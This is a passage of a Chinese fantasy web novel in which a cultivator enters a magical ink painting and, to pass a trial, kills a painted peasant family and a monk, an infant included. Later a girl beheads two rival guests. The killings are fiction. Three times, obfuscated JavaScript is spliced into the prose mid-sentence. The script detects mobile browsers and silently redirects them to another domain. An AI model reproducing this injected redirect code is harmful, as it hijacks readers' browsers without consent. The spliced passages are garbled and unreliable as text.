那笔尖的毫毛原本干硬尖锐,扎入皮肉后,丝丝缕缕渐渐软化,竟如同有生命一般,开始吮吸女孩的血液。 亦如空看见那通透的笔管渐渐变色,由透明变作浓墨鸦黑。 待到笔杆彻底变黑,女孩将笔尖拔出来,有血液从她的伤口滚落,而她的血竟然是乌黑的,正如墨汁一般。 女孩面不改色地放下袖子遮住伤处,擎着那只蘸满浓墨的笔,对亦如空羞怯道:“客人,您能放低一些么,我不够高,实在够不到。” 亦如空道:“你难不成想拿这东西在我脸上画画?” 女孩咬着嘴唇:“是……不,不是的,只是画上一道符文,好让你进那画中去。” 亦如空看了看她还在流血的左臂,那墨色血痕渐渐浸染上她水红色的衣袖,她似乎浑然不觉。 亦如空默默叹了一气,俯下身来。 女孩脸蛋绯红,艳过脸皮上敷的胭脂,亦如空近距离看在眼里,忍不住道:“你的血是黑色的,为什么却会脸红?” 他只是好奇,并无其他意思,但女孩子的脸却更红了,她对着亦如空近在咫尺的眼睛,实在难为情,忍不住道:“客人,能麻烦你闭起眼睛么?” 亦如空无奈,只得闭起双眼。 湿凉的笔锋落在他的额头上,女孩执笔勾勾画画,亦如空忽然想到什么,闭着眼睛道:“我若进入画中,那我袖中的小妖……” 女孩道:“客人不必担心,我会将它也送入画里,你可以带着它同行。” 亦如空不再说话,耐心等她画完。 最后一笔勾完,亦如空突然感觉脸颊一软,有软凉的触感快速在他右脸上一触即分。 亦如空一愣,意识到是那女孩子在他的脸上亲了一口。 他立刻睁开眼睛,面前却已没有那个女孩子的踪影。 视线中是一片白茫茫,好似先前乘船而来时的海上浓雾,但又完全不同。 因为这种白,并非是雾,而就是单纯的白,纯粹的白,是纸张上留出的空白。 亦如空直起身来,听见风声和江水奔流的声音,放眼望去,一条水墨的大江,正在他眼前流淌。 他竟这般毫无知觉地进入了画中世界。 亦如空环顾四周,面前大江横亘,背后山崖料峭,崖壁上松柏丛生,竟还有飞鸟当空而过。 然而这一切,却没有一丝多余的颜色,只有或深或浅的墨色,剩下的,便是无尽的白。 亦如空看着看着,忽然想起什么,摸了摸袖中。 袖子里空空荡荡,没有翘枝,没有那装着雄黄的油纸包,没有冥老托付给他的盒子,甚至连手腕上的忘尘椎,都没了踪影。 亦如空凝神一想,似乎明白了什么。 人怎么能进入那薄薄的画卷中呢?想必是那笔画能令人元神离体,进入这画中幻境。 不待他厘清思路,便见不远处的松枝上,正在多出点什么东西。 他走近几步,看见上面多了一条蓬松的墨染的大尾巴,再不多时,又出现四只小爪,一个脑袋。 最后,一只松鼠就这么凭空出现在松枝上,像是有一支看不见的笔将它画了上去。 松枝上的松鼠四脚朝天,原本正在呼呼大睡,此时有了要醒转的趋势,它睡得忘乎所以,伸个懒腰打个哈欠,眼看就要滚下松枝,摔在亦如空脚下的乱石堆里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448121|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 亦如空不动声色,默默撩起衣袍,抖开,等着松鼠掉在它的袍子上。 翘枝果然不负所望,大叫着掉落下来,正好落在亦如空为它提前准备的“软床”上。 “怎么回事?”翘枝迷迷糊糊醒转,浑身上下每一根墨线都写着懵懂。 亦如空放下袍角,将松鼠弹在地上:“你总算睡醒了。” 翘枝一骨碌爬起来,晃晃脑袋,看看周围的黑白线条,以为自己还在梦中,揉一揉眼睛,竟然就地躺下,翻了个身,似乎想继续睡大觉。 亦如空无奈,弯腰将它拎了起来。 翘枝迷迷瞪瞪地看着他:“怎么回事?我这是在梦里,还是已经下了地狱了,师父怎么都变成画儿了?” 亦如空无奈道:“你怎么不想想好的,或许你进了哪片仙境。” “……师父都变成画了竟然还会说话……”翘枝左看看右看看,再低头看看自己,才发现自己也变成了画,身上除了墨线就是一团墨迹。 翘枝戳戳自己的肚皮,搞不明白当下的处境。 亦如空好心为他解惑:“我们此刻,在一幅画中,一幅泼墨的山水图里。” 翘枝难以置信:“怎么会到画中的?我这一觉睡了多久?错过了什么?” 亦如空淡淡道:“你错过的可太多了。” 翘枝抓着脑袋,懊恼不已:“我真没用,本来还想路上问问师父拿到玄妖妖丹的过程,那件事还没搞明白,又错过了这许多……” 他着急道:“难道,我们现在已经在升仙宴上了?吃过席了没有?” 亦如空无语:“先别想着吃席了,我们还得完成任务,好离开这画中,不然,连坐席的资格都没有,总不能一直在这画里,做个画中人画中鼠。” 翘枝连忙道:“什么任务?我可能帮得上忙?” 亦如空道:“我倒没指望让你帮忙,只是怕把你留在外面,到时候只剩下几根松鼠骨头。” 翘枝闻言,耷下松鼠脑袋,有些沮丧。 “我也不是说你全然无用……”亦如空接着道,“我们的任务便是,从这画中取到清水,带到外头去,装进那房间里的空浴桶中,用来洗澡。” “啊?”翘枝目瞪口呆,“这、这算什么任务,这也太离奇了些……我们现在是什么状态,元神还是实体?这画中的水,要怎么带去外面?这怎么可能!……” 翘枝抓耳挠腮,亦如空也陷入思索,的确,这个任务看起来毫无头绪,似乎根本不可能实现。 但是——忽然,亦如空想起来那女孩子说过的话—— “我家主人向来喜欢做一些谜题游戏,我们这地方久居世外,除了升仙宴,难得见到外人,主人叫我们想出这些关卡花样,也是添个乐子。” 亦如空回到江边,蹲下身来,伸手去掬那江中奔腾的水,却只掬起来一些墨线和一滩滩晕染的墨色,转眼又在指缝间溜走,只在他墨画的手上再留下一层淡淡的墨迹。 “师父,你想到什么办法了?”翘枝跟在他身边,追问道。 “只是猜想,”亦如空道,“或许,这是个‘字谜’,或者说——‘画谜’。” 15.上善若水 “画谜……”翘枝喃喃重复,好像更加疑惑了。 亦如空站起身来,举目远眺,看见远处江湾上停泊的小船. 他想了想,道:“走吧,先去那船边看看。” 他迈开长腿便走,翘枝蹦蹦跳跳跟上,问道:“师父,难道我们要在这画里坐船?” 亦如空道:“既然是谜题,那便有谜面,画里出现的东西就是谜面,自然不是无用之物。” 画中的江风吹动亦如空身处画中的墨色长发,他的衣袍也同长发一样,以一种奇特的方式飘动着,像流动的笔画。 亦如空和翘枝走到船边,往船篷中看去。 小小的船一目了然,上头只有一只黑色的桨,一把黑色的斧头,除此之外,再无其他。 翘枝跳到船上,去摸那斧头柄:“怎么还有斧子?难不成要我们在这画里砍树伐木,自己做个木桶装水用?” 亦如空道:“不知道,但既然放在这里,便一定有用。” 他一步迈上小船,持起船桨。 拿起这画中的东西,触感十分奇异,手上感知到的重量,也与真实的世界不同。 亦如空没有划过船,没想到第一次划船,却是在一副画里。 还好,江水流动,带着小船顺流而下,并不需要他如何使力。 小船沿江而过,两岸峭壁不断后退,换上新的景色。 “没想到这画里还能游览风光呢,画外恐怕只看得见一个角度,没想到画中还有这样广大的天地。”翘枝啧啧称奇。 不过周遭风景虽在变换,但终究没有色彩,时间稍久,难免觉得乏味。 但很快,小船便到达了目的地。 亦如空之所以知道那是目的地,是因为那地方太过显眼,他在船头抬眼看去,老远便看见了远方崖壁上的那处不同。 “师父快看,有颜色了,那山上好多红花!”翘枝也看见了,叫喊起来。 那是一大片红色的花树,热烈的红、扎眼的红,在这片只有黑白两色的墨色世界里,让人想忽视都难。 “那两排花树中间好像有路,师父,是不是让我们顺着这路上山去?” 亦如空点点头,将小船停在江边,带着翘枝跳下船,朝着那红花树夹道的山径走去。 船舱中那柄斧头被他随身带上了,此刻正别在他的腰后。 山路蜿蜒,翘枝初时还觉得新奇有趣,一路跳上花树枝头灵活穿行,让那红花的艳色将他染红,对着亦如空不停展示:“师父,你看,我变成红毛松鼠了。” 然而新奇过去,翘枝又开始抱怨起来:“吃个席怎么这么麻烦,这宴会主人怎么回事,懂不懂待客之道,咱们献礼赴宴,没有一口吃的招待也就罢了,还要在此费劲爬山。” 翘枝又累又饿,不想再动,便跳上亦如空的肩头。画中的山不是真实的,但爬山花费的力气,却是实打实的,身体依然能感知到饥渴与疲累。 亦如空眼下也是半分灵力都没有,也无法器傍身,只能老老实实一步一个台阶,慢慢向着山上攀登。 翘枝趴在亦如空肩上,幽怨道:“若是完不成那离谱的任务,我岂不是要饿死在这画中,这死法也太奇特了些。” 亦如空道:“别抱怨了,既然要成仙,怎能这点苦都受不了。” 翘枝捏捏自己的红毛肚皮:“可是师父,我真的好饿,你难道没听见,我的肚子已经咕咕咕叫了一路么……” “哦,”亦如空淡淡道,“原来是你的肚子在叫,我还以为这画里有一群鸽子。” 师父难得同自己逗趣,可翘枝却没有力气感到高兴,亦如空见它实在萎靡,路过一棵松树时,抬手摘了个松果递给它。 翘枝抱着松果,有些犹疑:“这能吃吗?” 但管不了那么多了,先尝尝再说,翘枝三两下啃开松果,掰下颗松子尝了尝,刚进嘴便呸呸吐了出去。 “师父,这玩意不能吃,根本不是真正的松子,只有一股墨水味儿!” 翘枝赶忙将那松果丢得远远的:“完了完了,真的要饿死在这里了。” 亦如空道:“不会的,你看,我们快到地方了。” 山路尽头,红花掩映中,出现了一截篱笆,再往前几步,露出半开的柴扉,泥瓦的屋舍,这山顶上,竟然有一间农家小院。 翘枝意外道:“这画里竟然有人家?那屋里难道还有人?” 很快,他们就知道,答案是肯定的。 因为他们已经听见了院中传来的声音,看见了院里的画面—— 院中堆着劈了一半的木柴,两个四五岁的垂髫小儿正在柴堆边的院墙脚下抓石子、逗蚂蚁。 一个汉子正从屋里端出一碗茶水,递给一个穿着草鞋布衣,似乎刚刚走到这里来化缘的和尚,汉子的妻子怀抱着婴儿,跟在丈夫身后。 和尚双手合十道谢,主人家夫妻俩脸上满是和善的笑容。 翘枝怔愣地看着这一切,费解道:“竟然真的有人,而且还有好几个,他们是跟我们一样,还是本就是这画里的人?” 亦如空也看着这一切,一时没有行动:“看他们的样子,似乎一直生活在这画中……” 正说着话,小院的主人发现了他们,汉子将茶碗递给和尚,走到柴扉旁招呼来客:“阁下要到哪里去?” 亦如空想了想,道:“登山赏景,走得有些累了,正好到了此处。” 那汉子热情道:“进来歇歇脚吧,难得今日我家里这么热闹,不如一起吃个便饭,我们正好准备做午饭,干脆做上素斋,和尚师父也能一起用饭。” 和尚捧着茶碗念阿弥陀佛,亦如空跟着汉子走进院中,听着汉子的安排,坐在院中的石凳上。 喝茶的和尚对着他一礼,亦如空看了看他手中的茶碗,道:“主人家,可否也给我一碗茶?” 汉子大方一笑:“当然没问题。” 他给亦如空也端上茶水,接着便去抱柴,和妻子一起去了灶房,预备要生火做饭了。 “几位就在院里坐坐,饭菜马上就得!” 进屋之前,汉子还从兜里摸出两个花生,塞给了翘枝,顺便揉了揉翘枝的脑袋。 翘枝呆呆地捧着那两个花生,道:“我虽然不喜欢别人摸我的头,但是……” 松鼠由衷地感叹道:“这家主人,可真是好人啊!” 同坐在石桌边的和尚并不意外松鼠会说话,反而接话道:“阿弥陀佛,正是正是,这一家人,当得起上善若水四个字。” 亦如空闻言,心中一动。 松鼠听了和尚的话,又感叹几句,剥开主人家赠的那两颗花生,然而遗憾的是,这花生和那松子一样,只是一团墨水的聚合,并不能吃。 翘枝叹息道:“看来,他们真是画里人,难怪善良得不真实……” 说完,翘枝见亦如空半晌没有动作,不言不语,于是凑上前来,去看亦如空面前的茶碗:“师父,这茶水,是我们要的水吗?” 亦如空摇头:“不。” 的确不是,翘枝将爪子伸进茶碗里捞了捞,发现那茶水和先前的江水一样,只是握不住的一滩墨迹,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452531|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们不可能将其带出这画中世界。 “奇了怪了,真是难懂,”翘枝参不透,“到底是要什么水呢?” 松鼠这厢绞尽脑汁思索着,那汉子又从灶屋里出来,憨厚一笑道:“柴火不够,我再劈上几根,没关系,我手脚快,耽误不了多少功夫。” 他回到柴堆边,举起斧头劈柴,不知怎的,也许是因为怕来客等得太久,动作有些着急,他一斧头下去,竟劈歪了,划伤了自己的腿。 殷红的鲜血从汉子的伤口涌出,落在地上,变成一小堆凌乱的红色线条。 两个孩子原本在一边玩耍,见到爹爹受伤,连忙过去安慰。 两个孩子年纪虽小,却极为乖巧懂事,一个心疼地拉着爹爹的手,一个跌跌撞撞进屋去找娘亲,要给爹爹上药包扎。 和尚也赶忙起身过去,道:“我来帮主人家劈柴吧。” 汉子推辞道:“怎么好劳烦师父。” 和尚道:“劈柴挑水的活,我们僧人在寺院中也是常做的,主人家为了招待我们用饭,弄伤了身体,贫僧又怎么好意思干等着吃饭呢?” 汉子拗不过,只能将斧子递给和尚,自己到旁边休息:“真是麻烦师父了,都怪我自己粗手粗脚,不小心。” 那厢汉子的妻子知道了,急急忙忙出来为丈夫包扎伤口,嗔怪他不知小心。 汉子挠着脑袋,憨憨地笑,乐呵呵地听凭妻子饱含关心地责备自己。 翘枝看着这场面,一拍脑门,小声道:“我知道了,那把斧子的用途!” 亦如空只是看着男主人留在地上的血:“你认为是什么?” 翘枝道:“就是像和尚一样,帮这家主人劈柴呀!说不定做完这件事,任务就算完成了,主人家就会拿出我们需要的水,让我们能够离开这里!这个关卡的意思,就是让我们多做好事,看来这升仙盛宴的主人,还挺会劝人向善嘛。” 亦如空摇摇头:“不对。” “啊?”翘枝一愣,完全不明白,“可是……若不是劈柴,斧子的用处是什么?” 亦如空冷冷道:“在上一个关卡里,我曾见过那种红线。” “红线?”翘枝顺着亦如空的视线看过去,发现他正盯着地面上男人流出的血,那血迹,确实是一些极细的红线。 “咦?”翘枝也发现不对了,“他是个墨画的画中人,他的血竟然有颜色。” 亦如空道:“那红线,是画外真实世界的东西。” 翘枝一脸迷茫,等着他继续往下说。 “画里的斧头,能伤到这些画中人,而他们的血,是真实世界存在的东西,也就是说——”亦如空顿了顿,接着道,“可以带出去。” “啊?”翘枝先是一脸迷惑,但很快,松鼠心中一惊,毛发都要耸立起来,“难、难道是要……” “上善若水,呵。”亦如空重复和尚那个堪称明示的词语,忍不住冷讪一声。 这个答叵,竟然弄出如此恶劣的关卡来玩弄人心。 亦如空看向不远处那些画中人—— 他们善待来客,互敬互爱,多么和善美满的一家人,就这样生活在这画中的桃源里,平静安宁,与世无争。 然而他们美好的日子,今日,便要走到尽头了。 翘枝看着亦如空的脸色,颤声道:“师、师父……不……一定要这么做吗?这太……” 亦如空没有答话,他站起身来,从腰后取下那把黑色的斧子,握在手中。 他向着那些画中人,轻轻说了一声—— “抱歉。” 16.画骨神笔 明明是在一副水墨的画里,可一切都显得那般真实。 亦如空拎着那柄斧头,虎口还能感受到劈砍时带来的震痛。 他立在农家小院里,不久之前,这里还是一幅其乐融融的景象,宾主尽欢,夫妻相敬,而现在—— 夫妇二人的尸体倒在柴堆不远处,两个垂髫小童的尸首也在旁边,正紧紧抓着母亲的手。云游和尚就死在亦如空脚边,咽气前,一直在劝亦如空放下屠刀。 亦如空尽力不将他们视作真人,但偏偏每个人的反应都真实到令人不适。 最可怕的是,亦如空发现自己在做这件事的时候,顺畅自然到他自己都心惊。 然而他面上只是不动声色,看来何其狠心决绝。 “杀死”丈夫之后,亦如空向着那个没有说过几句话的妻子举起斧头,明明只需要挥动手中的武器,快速结束这一切就好,可他还是忍不住问道:“你有名字吗?” 他自己也不太确定为什么要问,可能当下他想要的答案,是否定的,因为若是如此,这一切的真实感,会减少很多。 模样质朴清瘦的女子闻言一愣,满是泪痕的脸皱起来:“你为什么要这样做……为什么……” 她用袖子抹一把眼泪,抽噎道:“有,我有名字,我娘家姓尤,我名叫春云,我求你,求你了,放过我的孩子……” 女人恸哭哀求,但亦如空听完,沉默片刻,只是说道:“你不是活在一个真实的世界,把这一切,当作梦吧。” 在女人费解绝望的目光中,亦如空挥下那柄黑色的利斧…… 翘枝被吓得不轻,哪怕是假的,但亦如空杀人如麻的样子,还是对他造成了不小的冲击。 红线从死者伤口中涌出,像是炸裂的线头一般围绕着尸体。亦如空颇有耐心地将那些红线拾起,缠在自己腕上。 正做着这些的时候,他突然听见屋内传来啼哭声。 亦如空和翘枝听见那声音,同时一怔。 亦如空手上的动作顿了顿,继续有条不紊地理好那些线条。 是了,这夫妻俩还有一个襁褓里的幼儿,此刻还在屋内。 收完院中所有红线,亦如空重新捡起那把斧头,朝房中走去。 翘枝自欺欺人地闭上眼睛捂住耳朵,嘴里不停念念有词:“假的假的,不听不听……这一切都是假的,是画而已,师父只是在完成任务……” 婴儿的哭声戛然而止。 亦如空从屋中走出来,手上又多了几圈红线。 这时,小院周围、山路两旁,那些开满红花的花树,开始渐次凋零,漫天红花迅速飘落,让亦如空想起了那个被赤虚毒液唤醒的记忆或是梦境片段。 那梦幻般的场景格外相似,却又多出几分诡异。 花瓣纷飞,在空中变成红色的墨点,不似落英缤纷,更像猩红血雨。 紧跟着,不止红花凋零飘散,整个小院,屋舍篱笆,所有一切,都像被雨水洇湿的画一样开始消融,墨色肆意流淌,渐渐杂乱无章,染成一片。 翘枝惊魂未定地看向亦如空,发现他额头上多出一团墨画的花纹,那印记犹如散发着莹光,显得格外不同。 “师父,你额头上,出现了什么东西……” 亦如空将视线从那红雨中收回来,目光扫过翘枝,看见松鼠的头顶也出现了发亮的墨纹。 他抬起手用指腹去抹自己的额头,发现那花纹能被擦去。 亦如空想了想,似乎明白了,沉声道:“将这东西擦掉,应该便可离开这画中。” 亦如空睁开眼,发现自己已经回到了最初的空房间里。 女孩笑吟吟地看着他,接着,又去看他的双手,见那上面多出来原本没有的红线,密密实实,像是一双猩红的护腕。 她了然一笑:“没想到这么快就完成了,我原以为你会稍作犹豫,下不了手呢。” 翘枝从亦如空袖中滚落出来,毛发凌乱,看起来十分丧气。 女孩故作夸张道:“哎呀,你的宠物老鼠这是怎么了?难不成是在里面吃坏了肚子?都怪我忘了告诉你们,那画里的东西,都是不能吃的。” 亦如空已根本不想再理她。 她似乎突然想起什么,又哎呀一声,道:“对了,你没有漏掉那襁褓里的婴儿吧?” 女孩一脸自然地掰着手指头数数:“两夫妻,一个做客的和尚,三个孩子,一个都不能少,若是不杀完,这水,可是不够哦。” 亦如空面无表情,只是将那些杂乱的红线从手上解下,扔进空浴桶里。 女孩见状,没说什么,从袖中取出张符纸,掷进桶中,只一眨眼,那些红线竟涌出清澈的泉水,转眼便装满了浴桶。 女孩客气道:“请客人清洗尘秽。” 亦如空道:“你要在此看着我做?” 女孩脸一红,羞涩地笑道:“客人若是不喜欢,我出去便是。” 她说着,便要退出门外去,亦如空问道:“这一关完成了,后面还有什么花样?” 女孩赶忙道:“没有了没有了,客人尽管放心,沐浴更衣后,我便正式带你去赴升仙宴,你想想,洗干净了又去打打杀杀弄得一身臭汗,那多没道理。” 比起用那怪异的水洗澡,亦如空宁愿用灵力避尘,不过他好歹还是换上了为他准备的道袍,这衣服簇新柔软,总比先前那些盗宝人随手给自己罩上的袍子好些。 待换好衣裳,回到房间外的回廊上,亦如空发现已经有三个人在那里等着,柳玉京也在其中。 女孩拊掌道:“好了,人齐了,诸位,随我来吧。” 其中一人问道:“怎么只有我们四个?其他人呢?” 女孩道:“自然是任务未完成,没机会跟诸位一同赴宴了。” 众人不再说话,默默跟着女孩。 其他幼童没有要跟上的意思,只留在回廊上,冲着女孩挥手:“采乌姐姐,再见!” 众人走出不远,忽听得几声扑通落水声,再回头去看,回廊上已是空空荡荡。 “那些孩子……” 名叫采乌的女孩嫣然一笑,道:“放心吧客人们,他们到海水里才自在呢。” 这时候柳玉京凑到了亦如空身侧,看了看他肩上的松鼠,低声道:“哪里来的耗子,你养这东西做什么。” 亦如空道:“这是松鼠。” 翘枝眼下没什么精神,瞥了柳玉京一眼,也懒得斗嘴争辩,只抓着亦如空的衣裳,懒懒趴着。 柳玉京道:“看起来是它缠着你不放,就怕这玩意不通人性,再加上牙尖爪利,不注意划伤你的脸,干脆我帮你吞了它。” 亦如空道:“你一条大蛇,跟一只小松鼠过不去做什么?” 翘枝动动耳朵,恹恹道:“别想着吃我了,我已经饿扁了,没有一点肉,除了毛就是骨头,不好吃,没营养,还噎嗓子。” 柳玉京一乐:“原来这老鼠会讲笑话,行罢,你留着它解闷,也没什么。” “我做什么,何需你来认为?” 柳玉京讨个没趣,沉默没一会儿,又贴上来追问亦如空:“你在里面,过的是什么关卡?” “你也经历过,何必问我。” 柳玉京道:“可是大家各自的关卡内容并不一样,我问过另外两位仁兄,完全不同。” 原来并不一样,亦如空不想回答。 “不愿说?”柳玉京盯着亦如空的侧脸,突然促狭地指指自己脸颊,不怀好意道,“看来颇有几分艳遇啊,难道你也跟那宴会主人有一样的癖好,这么小的……都能下手……为了容颜常驻,可不能纵欲过度啊。” 亦如空抬手去擦脸颊,原来是女孩亲他的那一下,留了胭脂在他脸上。 这条路似乎还很长,木质回廊凌空高悬于漆黑海上,涛声在脚下远方,血红的灯笼挂满两边廊柱,正随海风摇晃,不时映亮廊柱上艳丽的红漆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467062|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长廊顶上,有无数眼睛一样的雕刻花纹,在黯淡的红光里,看起来诡秘妖异。 带路的采乌远远走在前方,另外两人沉默不语,亦步亦趋跟在她身后,只有柳玉京在后头追着亦如空问个不停。 为了堵住蛇妖喋喋不休的嘴,亦如空只得应付道:“那房间中的关卡,是一幅画。” “一幅画?”柳玉京眼珠一转,“难不成,她有一只神笔,能让你走进那画中世界?” “……你不是知道么?” 听了这话,柳玉京唯一一只眼睛刷得亮起来,盯住远方那女孩的背影:“原来,那支笔……就在她身上。” 亦如空似有所感,瞥他一眼,道:“难不成,你是冲着那支笔来的?” 柳玉京道:“不然呢?谁来这升仙宴是冲着成仙来?飞升成仙早就是不可能的事情了,这宴会主人自己都成不了仙,遑论其他?他远居海上藏头露尾,不就是为了躲避天雷……修为高了,有天雷加身,不如一件顶级法器傍身来得强,而他手上这只画骨神笔,我早就想……” 这却是亦如空不知道的事情,见他若有所思的,柳玉京继续道:“也是,你能知道什么,棺材里躺了上千年,自然一无所知,我便告诉你,这正是那狗屁的应空神给这世间留下的禁制,他自己大概已经蜕去躯壳,飞升天界了,却害惨了我等。” 说着,柳玉京歪着嘴角一笑:“不过,他也算有点用处,毕竟他的尸块炼成的法器,样样都是顶尖法宝,只要拥有一件,横行世间,不是问题。” 见亦如空听了这番话后,表情稍有波动,柳玉京满意道:“怎么?你也有兴趣?那不如跟我一起干,留在我身边,待我换体神功大成,你把你的身体给我,届时,我的就是你的……” 翘枝听得难受,忍不住打断:“师父,你什么时候认识的这个变态啊?他说话我怎么这么不爱听呢。” 亦如空无奈道:“说来话长。” 柳玉京骂道:“死耗子,胆敢骂我,你信不信,就算噎嗓子我也不怕,照样吞了你?” 他的恶狠狠不似作伪,再加上那僵硬的半边面具,看来着实骇人。 翘枝躲到亦如空的另一边肩膀,离柳玉京稍远一些,嘴上却不饶他,鄙夷道:“做梦吧,我师父会保护我,你绝对打不过我师父,他手上可是有应空的法宝……” “翘枝。”亦如空打断只知斗嘴争胜的松鼠,示意他慎言。 翘枝听亦如空语气严肃,自知多嘴,连忙捂住了嘴巴,不敢再出声。 但柳玉京已经听到了,他目光微动,想起了洞窟之中那灼伤自己的一抹金光。 “哦——”柳玉京拖长了声音,低声道,“难怪你对那法宝那般淡然,原来你手上,已经有了好东西啊……” 说着,他话锋一转,莫名其妙露出个满足的表情,感慨道:“看来,你对我印象还是不错的,明明有杀器在身,却没有对我下死手。” 亦如空对他这自说自话的本事感到佩服,冷淡道:“我只是看你可怜罢了。” 柳玉京的表情僵在了脸上:“你说什么?” 这时,已走远的小姑娘采乌回首招呼,扬声喊道:“后头的两位客人!怎么离得那般远了,快跟紧些!” 亦如空懒得再重复,无视柳玉京僵硬的表情,径直从他面前走了过去。 柳玉京这厢愤懑不平,瞪着亦如空步履翩翩的背影,气不打一处来。 正咬牙切齿怒目而视,却看见亦如空脚步突然一顿,身形微微僵硬。 柳玉京正待上去嘴斗几个回合,忽然,他也止住了动作——他知道亦如空为什么停住脚步了—— 因为他也已经看见,那两个紧跟在采乌身后的男人,此刻,竟已在无声无息中,身首分离。 两颗人头骨碌碌滚落,亦如空似乎早已看出端倪,默默后退两步,正好让到人头滚落的范围之外。 紧跟着,是两具无头尸体轰然倒地的声音。 17.门里乾坤 两具尸体轰然倒地。 那双髻少女双采乌,此刻一手捏指为刀,一手握着画骨神笔,目光如炬,那张本该稚气未脱的脸上,没有丝毫少年孩童的天真。 她只是一挥笔,顷刻间便割下了两颗人头。 亦如空看着脚边不远处那张死不瞑目的脸,良久才道:“这又是什么意思?” 柳玉京也回过神来,怒道:“怎的,我们好不容易过完那些劳什子关卡,陪你们玩了半天,到这里,又翻脸不认人了?” 采乌闻言,仿佛惊醒似的,懊恼地顿足,对着地上那两具还在噗呲冒血的尸体,惋惜道:“哎呀哎呀,你们……怎么这样沉不住气?这下可怎么好,只剩两个人了,我怎么跟主人交代,还以为这一届的来客都多么差劲呢……好不容易难关都通过了……” 柳玉京不耐烦道:“莫名其妙的疯丫头,老子不陪你玩儿了。” 说着,他两手为钩,就要攻上前去,准备硬抢那画骨神笔。 亦如空却微微一动,不动声色地挡住他。 柳玉京正要发作,却听见亦如空问道:“你怎么发现的?” 他这是在问采乌。 采乌指指头顶上方的廊顶,那上面无数眼睛浮雕泛着幽光,犹如目光转动,看来幽微可怖。 采乌懊恼的神色转瞬即逝,轻叹道:“这不怪我,他们方才想趁我不备在我身后动手抢宝,还好有这么多只眼睛帮我看着,否则,现在身首异处的,恐怕是我了。” 她将笔小心收好,拍了两下巴掌,廊柱下方随即传来哗哗水声,像是有什么从海里涌出来,沿着柱子飞速盘旋而上。 红灯笼摇晃的光影里,亦如空看见两条硕大的尖牙长鱼一闪而过,咬住两具尸体,快速拖到回廊外,落进海水之中。 采乌走了两步,抬脚将那两颗人头也踢了下去,人头滚落,“噗通”两声掉进海里。 “走吧,”采乌恢复了微笑的表情,道,“就快要到了。” 翘枝根本不敢发出声音,亦如空和柳玉京都去看廊顶,那些密密麻麻的浮雕眼睛,竟真能将一切都看得分明,并且迅速叫采乌知晓? 亦如空只看了一眼,便收回目光,跟着采乌继续前行。 柳玉京看不出端倪,但此刻似乎也有了些忌惮,暂时收起动手夺笔的心思,迈步跟上前去。 采乌所言不假,确实不消多时,他们便已到了地方。 此时不用采乌说,他们也能看出,这里就是终点。 因为他们已到达这不合常理的海上长廊的尽头,一扇同样不合常理的巨门兀自矗立前方,门开两扇,其上鎏金华彩,雕刻无数。 此处灯光明亮无比,将那巨门之上的细节照得分明。细看之下,依旧有许多眼睛浮雕,还有更多的,像是些海中妖怪的图腾雕刻,密密匝匝,层层叠叠。 而最大的一个图腾,与其他细小雕刻交错共存,或浮于其上,或隐于其下,身形几乎占满这两扇巨门。 那是一只双角四足长尾,生着彩鳞金须的瑞兽,鳞片好似用贝壳镶嵌,须发掐了金丝,两只眼睛,是用某种幽绿的宝石所嵌,鎏了两点金漆。 亦如空仰头看着那巨门上的瑞兽,眸光微动。 翘枝大开眼界,惊叹道:“我第一次见到如此精细华美的应空神像,这要多久才能雕成啊……” 柳玉京懒洋洋抱着臂,无所谓道:“雕这么大一个应空兽在门上,所以你们这应空门,原来其实真是一扇门吗?” 采乌正色道:“这位客人,请慎言!莫要妄言神明。” 她走到门边,却并不急着推开门,而是先双手相抵,虔诚地拜念起来。 柳玉京见状,不屑地嗤了一声,低声对亦如空道:“你瞧瞧这些人,拜个上古妖兽当神,也不知有什么用,这所谓的神何曾照拂过世间众生?” “你这……蛇妖对吧?”翘枝道,“怎么说话呢!真叫讨厌!” 亦如空将柳玉京的话听在耳里,仍是静静看着巨门上的雕刻,面上看不出任何端倪,柳玉京见状,诧异道:“不会吧,你不会也信神吧?” 亦如空轻轻摇了摇头:“我只是觉得,这雕刻不像。” “不像?嘁,难道你还见过本尊不成……” 柳玉京话音未落,那厢采乌已拜完了,伸手推开了那两扇华美的巨门。 刺眼的亮光倾泻而出,几人都眯了眯眼睛,一时难以适应。 这长长的连廊直通此门,门是孤零零伫立的,两侧和顶上都没有墙,只有一片漆黑的虚空,可为何门开后,竟像是展开了一个截然不同的空间? 一时无人说话,只跟在采乌身后,迈进巨门后雪白的亮光里。 门后除了亮光,只有一片空白,没有丝竹管弦,没有宾客主人,没有酒水佳肴,只有一片空空荡荡。 亦如空道:“这也不像是宴会所在。” 